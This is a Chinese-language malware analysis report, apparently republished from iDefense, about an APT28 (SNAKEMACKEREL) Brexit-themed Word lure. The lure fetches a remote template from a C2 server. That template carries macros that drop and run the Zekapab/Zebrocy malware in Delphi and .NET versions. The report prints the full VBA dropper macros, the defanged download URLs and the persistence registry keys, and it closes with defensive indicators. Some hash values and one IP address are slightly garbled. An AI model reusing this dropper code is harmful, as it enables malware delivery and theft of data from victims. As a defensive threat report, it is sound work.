在英国首相特雷莎·梅宣布与欧盟(EU)达成BREXIT(英国脱欧)初步协议草案的同时,iDefense公司的分析人士指出,SNAKEMACKEREL利用一份以BREXIT为主题的诱饵文档,交付了一款名为“Zekapab(也被称为Zebrocy)”的第一阶段恶意软件。

SNAKEMACKEREL是一个以开展间谍活动为主的网络犯罪组织,也被称为Sofacy、Pawn Storm、Sednit、Fancy Bear、APT28、group 74、Tsar Team和Strontium。英国和荷兰政府都曾公然表示,SNAKEMACKEREL隶属于俄罗斯军事情报服务机构(RIS),并与一些特定的网络攻击事件存在关联,包括针对禁止化学武器组织(OPCW)、英国国防和科学技术实验室(DSTL),以及英国外交和联邦事务部(FCO)的攻击。

需要指出的是,这份恶意文档是在英国政府宣布与欧盟达成BREXIT初步协议草案的同一天创建的。这似乎表明,SNAKEMACKEREL是一个密切关注政治事件的网络犯罪组织,能够利用最新的新闻事件来创建诱饵文档,以针对特定目标交付第一阶段恶意软件,如Zekapab。

尽管存在大量有关该组织的公开报道和来自各国政府的指控,但SNAKEMACKEREL仍然非常活跃。它被认为是大量针对全球航空航天和国防承包商、军事组织、政党、国际奥委会(IOC)、反兴奋剂机构、政府部门和各种垂直领域的网络攻击的幕后黑手。到目前为止,SNAKEMACKEREL仍然被认为是影响最为深远,也是最为复杂的网络间谍组织之一。

本报告将针对一份以“BREXIT”为主题的诱饵Microsoft Office文档进行技术分析。如上所述,该文档被用于释放SNAKEMACKEREL活动的第一阶段恶意软件(Delphi版本的Zekapab),iDefense分析师此前曾发表过有关该恶意软件的报告。然而,在对C2服务器109.248.148.42的进一步研究中,iDefense公司的分析师发现了Zekapab的一个新版本(.NET版本),它被设计用于相同的目的。

恶意软件分析

iDefense公司的分析师在最近发现了一份恶意文档,据称与近期英国和欧盟之间的BREXIT谈判有关。

该文件具有以下元数据:

  • 文件名:Brexit 15.11.2018.docx
  • MD5:405655 be03df45881aa88b55603bef1d
  • 文件大小:9 KB(19354字节)
  • 作者:USER
  • 最后修改人:Joohn
  • 版本:Grizli777
  • 创作时间:2018:11:14 14:17:00
  • 修改日期:2018:11:15 04:50:00

这里需要指出的是,Grizli777是Microsoft Word的一个破解版本。

为了诱使目标启用宏,攻击者故意使用了乱码作为文档的内容(见图1):

图1. 使用乱码作为文档的内容,以诱使目标启用宏

该文档被设计为通过内嵌在DOCX文档中的settings.xml.rels组件来从hxxp://109.248.148.42/office/thememl/2012/main/attachedTemplate.dotm加载恶意内容(见图2):

图2.通过settings.xml.rels加载的恶意内容(宏组件)

下载的宏组件包括一个名为AutoClose()的函数(见图3),以及以Base64编码字符串的形式嵌入的两个payload:

图3.AutoClose() 函数

如下代码片段展示的是宏代码的核心部分,与另一起活动(发生于2018年4月份,由ESET报道的)中的宏代码完全相同:

Public Function FolderExists(FolderPath As String) As Boolean

On Error Resume Next

ChDir FolderPath

If Err Then FolderExists = False Else FolderExists = True

End Function

Function FileExists(fname) As Boolean

On Error Resume Next

FileExists = Dir(fname) <> vbNullString

If Err.Number <> 0 Then FileExists = False

On Error GoTo 0

End Function

Sub AutoClose()

Dim vFileName As String

Dim vDocName As String

Application.ActiveWindow.WindowState = wdWindowStateMinimize

vAdd = "ntslwin."

vFileName = Environ("APPDATA") & "\NetworkNV\"

If Not FolderExists(vFileName) Then MkDir (vFileName)

vFileName = vFileName + vAdd & "exe"

If Not FileExists(vFileName) Then SaveFN vFileName, convText(Us

erForm1.Label2.Caption)

'Sleep 2002

vDocName = Environ("TEMP") & "\~de03fc12a.docm"

If Not FileExists(vDocName) Then SaveFN vDocName, convText(User

Form1.Label1.Caption)

zyx (vDocName)

Application.Quit

End Sub

Private Function convText(dsf)

Dim dm, el

Set dm = CreateObject("Microsoft.XMLDOM")

Set el = dm.CreateElement("tmp")

el.DataType = "bin.base64"

el.Text = dsf

convText = el.NodeTypedValue

End Function

Private Sub SaveFN(vNum, vBun)

Dim binaryStream

Set binaryStream = CreateObject("ADODB.Stream")

binaryStream.Type = 1

binaryStream.Open

binaryStream.Write vBun

binaryStream.SaveToFile vNum, 2

End Sub

Public Function zyx(vF)

Dim WA As Object, oMyDoc As Object

Set WA = CreateObject("Word.Application")

WA.Visible = False

Set oMyDoc = WA.Documents.Open(vF)

WA.Application.Run "Module1.Proc1"

Set oMyDoc = Nothing: Set WA = Nothing

End Function

Public Function WriteBinary(strBinary, strPath)

Dim oFSO: Set oFSO = CreateObject("Scripting.FileSystemObject

")

Dim oTxtStream

On Error Resume Next

Set oTxtStream = oFSO.createTextFile(strPath)

Set oTxtStream = Nothing

With oFSO.createTextFile(strPath)

.Write (strBinary)

.Close

End With

End Function

基于对恶意IP地址109.248.148.42的研究,我们发现了两个不同的.dotm组件:

组件1:

  • 文件名:dotm
  • MD5:018611b879b2bbd886e86b62484494da
  • 文件大小:5 MB(1612982字节)

组件2:

  • 文件名:dotm
  • MD5:2a794b55b839b3237482098957877326
  • 文件大小:2 MB(1228358字节)

这两个组件分别是从以下URL被释放的:

  • hxxp://109.248.148.42/office/thememl/2012/main/attachedTemplate.dotm
  • hxxp://109.248.148.42/officeDocument/2006/relationships/templates.dotm

这两个组件都包含如上所示的相同的VBA宏代码,且都包含两个不同的payload:一个是可执行二进制文件,另一个是.docm文件。

attachedTemplate.dotm释放了如下文件:

可执行二进制文件:

  • 文件名:exe
  • MD5:7 e67122d3a052e4755b02965e2e56a2e
  • 文件大小:0 KB(393216字节)
  • 文件类型:使用UPX压缩的Win32可执行文件

.docm文件:

  • 文件名:~ de03fc12a.docm
  • MD5:9 d703d31795bac83c4dd90527d149796
  • 文件大小:0 KB(24659字节)

templates.dotm释放了如下文件:

可执行二进制文件:

  • 文件名:exe
  • MD5:a13c864980159cd9bdc94074b2389dda
  • 编译时间戳:2018-11-13 10:45:42
  • 文件大小:0 KB(32768字节)
  • 文件类型:MS Windows (GUI) Intel 80386 32位Mono/.Net程序集PE32可执行文件

.docm文件:

  • 文件名:~ de03fc12a.docm
  • MD5:9 d703d31795bac83c4dd90527d149796
  • 文件大小:0 KB(24659字节)

其中,~de03fc12a.docm包含一个简单的宏来执行被释放的可执行文件。如下代码片段展示的是~de03fc12a.docm所包含的宏代码:

Sub Proc1()

Dim vFileName As String

Dim add As String

vAdd = "ntslwin."

vFileName = Environ("APPDATA") & "\NetworkNV\"

vFileName = vFileName + vAdd & "exe"

Shell vFileName

Application.Quit

End Sub

对上述两个二进制文件的分析表明,它们实际上分别是Delphi(最初是使用UPX打包的)版本和.NET版本的Zekapab。以下网络流量是由Delphi版本的Zekapab生成的,该样本在UPX解压缩后具有以下元数据:

  • 文件名:exe
  • MD5:f4cab3a393462a57639faa978a75d10a
  • 文件大小:5 KB(1008128字节)
  • 文件类型:Win32可执行文件Borland Delphi 7

图4展示的是由Delphi版本的Zekapab生成的网络流量,一个包含所收集的系统信息的HTTP POST请求。如图4所示,发送的数据似乎是经过URL编码的。

图4.由Delphi版本的Zekapab生成的网络流量

需要指出的是,由.NET版本的Zekapab生成的网络流量是没有经过编码的(见图5)。

图5.由.NET版本的Zekapab生成的网络流量

无论如何,这两个版本都旨在收集系统信息和正在运行的进程,并使用HTTP POST将它们发送给指定的C2服务器,使用的URI都是“/agr-enum/progress-inform/cube.php?res=”。

一旦攻击者表示对你的设备感兴趣,下一个阶段的恶意软件就将被交付到相应的目录。同时,一个注册表项将被添加并设置,以实现恶意软件随开机自行启动。

对于Delphi版本,以下注册表项和值被用于实现持久性:

  • 注册表项:HKCU\Software\Microsoft\Windows\CurrentVersion\Run\AudioMgr
  • 值:%AppData%\Video\videodrv.exe

对于.NET版本,以下注册表项和值被用于实现持久性:

  • 注册表项:HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\GoogleIndexer
  • 值:%AppData%\Platform\sslwin.exe

在.NET版本中,用来收集数据的函数如下所示:

图6.NET版本的Zekapab用来收集数据的函数

被收集的数据包括:

  • 来自命令systeminfo和tasklist的结果
  • 当前执行路径
  • 抓取的屏幕截图
  • 枚举驱动器
  • 驱动器序列号

用于下载并执行下一阶段恶意软件的代码如下,包括用于实现持久性的设置:

图7..NET版本的Zekapab用来下载并执行下一阶段恶意软件的代码

如上图所示,是否交付下一阶段恶意软件,取决于收集到的信息。

缓解措施

为了避免遭受本报告所描述的恶意软件的侵害,iDefense建议阻断对以下IP地址和URI模式的访问:

  • 248.148.42
  • /agr-enum/progress-inform/cube.php?res=

想要验证设备是否已经遭到感染,iDefense建议搜索以下内容:

  • 网络:是否存在上述提到的HTTP和DNS流量
  • 系统:是否存在以下内容:
    • 注册表项:
      • HKCU\Software\Microsoft\Windows\CurrentVersion\Run\AudioMgr
      • HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\GoogleInde xer
    • 文件:
  • %AppData%\Video\videodrv.exe
  • %AppData%\Platform\sslwin.exe
  • 其他一些文件,散列值:
    • 405655be03df45881aa88b55603bef1d
    • 7e67122d3a052e4755b02965e2e56a2e
    • a13c864980159cd9bdc94074b2389dda
    • 9d703d31795bac83c4dd90527d149796

声明:本文来自黑客视界,版权归作者所有。文章内容仅代表作者独立观点,不代表安全内参立场,转载目的在于传递更多信息。如有侵权,请联系 anquanneican@163.com。